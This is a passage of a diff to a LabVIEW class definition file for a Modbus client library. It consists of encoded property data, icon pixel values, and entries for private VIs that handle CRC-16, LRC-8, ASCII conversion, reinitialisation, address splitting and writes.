!!!!!!!!!!!!!!!!!!!%!!!!!!!%!!!!!%Q!&gt;1"9!!A:T:8*J97Q$6%.1!!!*;7ZU:8*G97.F!!V!"1!(972E=G6T=Q!@1"9!!Q.36&amp;5&amp;16.$35E$6%.1!!BQ=G^U&lt;W.P&lt;!!!$5!(!!&gt;U;7VF&lt;X6U!!Z!)1FD&lt;WZO:7.U:71!(A!X`````Q!%&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!!+E"Q!!Y&amp;37ZT&gt;()!!1!&amp;&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!%='^S&gt;!!!$U!(!!FC986E)(*B&gt;'5!$U!'!!FE982B)'*J&gt;(-!$5!'!!:Q98*J&gt;(E!!!^!"A!*=X2P=#"C;82T!".!"A!-:GRP&gt;S"D&lt;WZU=G^M!!!;1&amp;!!"A!'!!=!#!!*!!I!#Q:T:8*J97Q!!"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!""!-0````](972E=G6T=Q!,1!9!"("P=H1!!"6!"A!/&gt;(*B&lt;H.B9X2J&lt;WYA;71!!"*!5!!%!!U!$A!0!"!$6%.1!'Q!]&gt;ZC*&lt;M!!!!#'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=R214#".&lt;W2C&gt;8-A1WRJ:7ZU,G.U&lt;!!W1&amp;!!"Q!!!!%!!A!$!!1!$!!2(5.M&gt;8.U:8)A&lt;W9A9WRB=X-A=(*J&gt;G&amp;U:3"E982B!!%!%A!!!"%!!!!!!!!!!@````]!!!!#!!!!!Q!!!!1!!!!&amp;!!!!"Q!!!!A!!!!*!!!!#A!!!!M!!!!-!!!!$1!!!!Y!!!!0!!!!%!!!!1!!!!!",!!!!!!!!!(#!!!)!!)!#A!!!!!!!!!!!!!"^A!!!!!!!!!"$ERB9F:*26=A4W*K:7.U!&amp;"53$!!!!!!!!!!!!!6!)!!!!!!!!!!!!!!!!!!!1!!!!!!!A!!!!!4!"V!&amp;A!#"H.F=GFB&lt;!.51V!!!!FJ&lt;H2F=G:B9W5!(U!7!!-$5F26"5&amp;41UF*!V2$5!!)=(*P&gt;'^D&lt;WQ!!!V!"1!(972E=G6T=Q!.1!=!"X2J&lt;76P&gt;81!$E!B#7.P&lt;GZF9X2F:!!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!"!!56!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!01!=!#7*B&gt;71A=G&amp;U:1!01!9!#72B&gt;'%A9GFU=Q!.1!9!"H"B=GFU?1!!$U!'!!FT&gt;'^Q)'*J&gt;(-!%U!'!!RG&lt;'^X)'.P&lt;H2S&lt;WQ!!"J!5!!'!!9!"Q!)!!E!#A!,"H.F=GFB&lt;!!!%E"Q!!5+9W^O&lt;G6D&gt;'FP&lt;A!!%%!Q`````Q&gt;B:'2S:8.T!!N!"A!%='^S&gt;!!!&amp;5!'!!ZU=G&amp;O=W&amp;D&gt;'FP&lt;C"J:!!!%E"1!!1!$1!/!!]!%!.51V!!&lt;!$RXG)MH1!!!!)95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T&amp;&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O9X2M!$:!5!!(!!!!!1!#!!-!"!!-!"%&gt;1WRV=X2F=C"P:C"D&lt;'&amp;T=S"Q=GFW982F)'2B&gt;'%!!1!3!!!!%1!!!!!!!!!#!!!!!1!!!!-!!!!%!!!!"1!!!!9!!!!(!!!!#!!!!!E!!!!+!!!!#Q!!!!Q!!!!.!!!!$A!!!!]!!!!1!!!!!!%!!!%M!!!!!!!!!=)!!!A!!A!+!!!!!!!!!!!!!!(W!!!!!!!!!!%/4'&amp;C6EF&amp;6S"09GJF9X1!5&amp;2)-!!!!!!!!!!!!"5!A!!!!!!!!!!!!!!!!!!"!!!!!!!$!!!!!"-!)5!7!!)'=W6S;7&amp;M"WZF&gt;(&gt;P=GM!!!FJ&lt;H2F=G:B9W5!(U!7!!-$5F26"5&amp;41UF*!V2$5!!)=(*P&gt;'^D&lt;WQ!!"6!"1!0=X2B&gt;'FP&lt;C"B:'2S:8.T!!V!"Q!(&gt;'FN:7^V&gt;!!/1#%*9W^O&lt;G6D&gt;'6E!"Y!.`````]!""5!A!!!!!!"!!1!!!!"!!!!!!!!!#J!=!!/"5FO=X2S!!%!"25!A!!!!!!"!!1!!!!"!!!!!!!!"("P=H1!!!^!"Q!*9G&amp;V:#"S982F!!^!"A!*:'&amp;U93"C;82T!!V!"A!'='&amp;S;82Z!!!01!9!#8.U&lt;X!A9GFU=Q!41!9!$':M&lt;X=A9W^O&gt;(*P&lt;!!!'E"1!!9!"A!(!!A!#1!+!!M'=W6S;7&amp;M!!!31(!!"1JD&lt;WZO:7.U;7^O!!!51$$`````#GFQ)'&amp;E:(*F=X-!!!N!"A!%='^S&gt;!!!&amp;5!'!!ZU=G&amp;O=W&amp;D&gt;'FP&lt;C"J:!!!%E"1!!1!$1!/!!]!%!.51V!!&lt;!$RXG*&lt;S!!!!!)95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T&amp;&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O9X2M!$:!5!!(!!!!!1!#!!-!"!!-!"%&gt;1WRV=X2F=C"P:C"D&lt;'&amp;T=S"Q=GFW982F)'2B&gt;'%!!1!3!!!!%@````]!!!!"!!!!!A!!!!-!!!!%!!!!"1!!!!9!!!!(!!!!#!!!!!E!!!!+!!!!#Q!!!!Q!!!!.!!!!$A!!!!]!!!!1!!!!!!%!!!%M!!!!!!!!!=)!!!A!!A!+!!!!!!!!!!!!!!(W!!!!!!!!!!%/4'&amp;C6EF&amp;6S"09GJF9X1!5&amp;2)-!!!!!!!!!!!!"5!A!!!!!!!!!!!!!!!!!!"!!!!!!!%!!!!!"-!)5!7!!)'=W6S;7&amp;M"WZF&gt;(&gt;P=GM!!!FJ&lt;H2F=G:B9W5!(U!7!!-$5F26"5&amp;41UF*!V2$5!!)=(*P&gt;'^D&lt;WQ!!"6!"1!0=X2B&gt;'FP&lt;C"B:'2S:8.T!!V!"Q!(&gt;'FN:7^V&gt;!!/1#%*9W^O&lt;G6D&gt;'6E!"Y!.`````]!""5!A!!!!!!"!!1!!!!"!!!!!!!!!#J!=!!/"5FO=X2S!!%!"25!A!!!!!!"!!1!!!!"!!!!!!!!"("P=H1!!!^!"Q!*9G&amp;V:#"S982F!!^!"A!*:'&amp;U93"C;82T!!V!"A!'='&amp;S;82Z!!!01!9!#8.U&lt;X!A9GFU=Q!41!9!$':M&lt;X=A9W^O&gt;(*P&lt;!!!'E"1!!9!"A!(!!A!#1!+!!M'=W6S;7&amp;M!!!31(!!"1JD&lt;WZO:7.U;7^O!!!51$$`````#GFQ)'&amp;E:(*F=X-!!!N!"A!%='^S&gt;!!!&amp;5!'!!ZU=G&amp;O=W&amp;D&gt;'FP&lt;C"J:!!!%E"1!!1!$1!/!!]!%!.51V!!&lt;!$RXHWI`Q!!!!)95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T&amp;&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O9X2M!$:!5!!(!!!!!1!#!!-!"!!-!"%&gt;1WRV=X2F=C"P:C"D&lt;'&amp;T=S"Q=GFW982F)'2B&gt;'%!!1!3!!!!%1!!!!!!!!!"!!!!!A!!!!-!!!!%!!!!"@````]!!!!(!!!!#!!!!!E!!!!+!!!!#Q!!!!Q!!!!.!!!!$A!!!!]!!!!1!!!!!!%!!!%M!!!!!!!!!=)!!!A!!A!+!!!!!!!!!!!!!!(W!!!!!!!!!!%/4'&amp;C6EF&amp;6S"09GJF9X1!5&amp;2)-!!!!!!!!!!!!"5!A!!!!!!!!!!!!!!&amp;!!!!$EV02%*65SZM&gt;G.M98.T!!!!$UV02%*65T%O&lt;(:D&lt;'&amp;T=Q!!!!Z.&lt;W2C&gt;8-O&lt;(:D&lt;'&amp;T=Q!!!"^1&lt;'&amp;T&lt;7&amp;-97)A47^E9H6T)%VB=X2F=CZM&gt;G.M98.T!!!!(V"M98.N95RB9C".&lt;W2C&gt;8-A1WRJ:7ZU,GRW9WRB=X-</Val>
+
+</String>
+
+</Property>
+	<Property Name="NI.LVClass.IsTransferClass" Type="Bool">false</Property>
+	<Property Name="NI_IconEditor" Type="Str">49 53 48 48 56 48 50 52 13 0 0 0 0 1 23 21 76 111 97 100 32 38 32 85 110 108 111 97 100 46 108 118 99 108 97 115 115 0 0 1 0 0 0 0 0 9 0 0 13 43 1 100 1 100 80 84 72 48 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 15 13 76 97 121 101 114 46 108 118 99 108 97 115 115 0 0 1 0 0 0 0 0 7 0 0 12 185 0 0 0 0 0 0 0 0 0 0 12 158 0 40 0 0 12 152 0 0 12 0 0 0 0 0 0 32 0 32 0 24 0 0 0 0 0 255 255 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 7 86 105 32 73 99 111 110 100 1 0 2 0 0 0 6 77 79 68 66 85 83 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 11 83 109 97 108 108 32 70 111 110 116 115 0 1 8 1 0
+
+</Property>
+	<Item Name="PL Modbus Client.ctl" Type="Class Private Data" URL="PL Modbus Client.ctl">
+		<Property Name="NI.LibItem.Scope" Type="Int">2</Property>
+	</Item>
+	<Item Name="Private" Type="Folder">
+		<Property Name="NI.LibItem.Scope" Type="Int">2</Property>
+		<Item Name="CRC-16.vi" Type="VI" URL="../Private/CRC-16.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!#:!!!!"1!%!!!!$5!'!!:$5E-N-49!!"R!-0````]3=X2S;7ZH)(&gt;J&gt;'AA1V*$,4%W!!!11$$`````"H.U=GFO:Q!!6!$Q!!Q!!!!!!!%!!A!!!!!!!!!!!!!!!!!!!!-$!!"Y!!!!!!!!!!!!!!E!!!!.#Q!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!2)!!!!!!1!%!!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">2</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1342710288</Property>
+		</Item>
+		<Item Name="LRC-8.vi" Type="VI" URL="../Private/LRC-8.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!#6!!!!"1!%!!!!#U!&amp;!!6-5E-N/!!;1$$`````%8.U=GFO:S"X;82I)%R31SUY!""!-0````]'=X2S;7ZH!!"5!0!!$!!!!!!!!1!#!!!!!!!!!!!!!!!!!!!!!Q-!!(A!!!!!!!!!!!!!#1!!!!U,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"%A!!!!!"!!1!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">2</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1107821072</Property>
+		</Item>
+		<Item Name="Modbus ASCII String to Byte Array.vi" Type="VI" URL="../Private/Modbus ASCII String to Byte Array.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!#.!!!!"1!%!!!!"1!&amp;!!!91%!!!@````]!!1JC?82F)'&amp;S=G&amp;Z!!!11$$`````"H.U=GFO:Q!!6!$Q!!Q!!!!!!!!!!A!!!!!!!!!!!!!!!!!!!!-$!!"Y!!!!!!!!!!!!!!!!!!!*!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"!!!!!!!1!%!!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">2</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1342710288</Property>
+		</Item>
+		<Item Name="Reinitialize.vi" Type="VI" URL="../Private/Reinitialize.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!%I!!!!#1!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!$"!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S"P&gt;81!!#"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S"F=H*P=CE!,E"Q!"Y!!"I95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T!!!*45^%1F64)'FO!'%!]!!-!!-!"!!%!!5!"!!%!!1!"!!'!!1!"!!(!Q!!?!!!$1A!!!!!!!!!!!!!$1M!!!!!!!!!!!!!!!!!!!!!!!!+!!!!!!!!!!!!!!!+!!!.!!!!$!!!!!!!!!!!!!!"!!A!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">2</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1350574608</Property>
+		</Item>
+		<Item Name="Split Address Range.vi" Type="VI" URL="../Private/Split Address Range.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!$2!!!!"Q!%!!!!$5!'!!&gt;B:'2S:8.T!"6!"A!0&lt;H6N9G6S)'^G)'FU:7VT!!I!5!!#!!%!!A!M1%!!!@````]!!RZB:'2S:8.T:8-A97ZE)'ZV&lt;7*F=H-A&lt;W9A;82F&lt;8-!!"F!"A!4&lt;7&amp;Y)'ZV&lt;7*F=C"P:C"J&gt;'6N=Q"5!0!!$!!!!!!!!!!%!!!!!!!!!!!!!!!&amp;!!)!!1-!!(A!!!!!!!!!!!!!!!!!!!E!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"!!!!!3!!!!%!!!!!!"!!9!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">2</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1342714386</Property>
+		</Item>
+		<Item Name="Write.vi" Type="VI" URL="../Private/Write.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!%_!!!!#A!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!$"!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S"P&gt;81!!#"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S"F=H*P=CE!&amp;E!Q`````QRX=GFU:3"C&gt;7:G:8)!!#Z!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#5V02%*65S"J&lt;A"B!0!!$!!$!!1!"!!&amp;!!1!"!!%!!1!"A!%!!=!#!-!!(A!!!U)!!!!!!!!!!!!!!U,!!!!!!!!!!!!!!!!!!!!!!!!#A!!!!!!!!!1!!!!%A!!$1!!!!Q!!!!!!!!!!!!!!1!*!!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
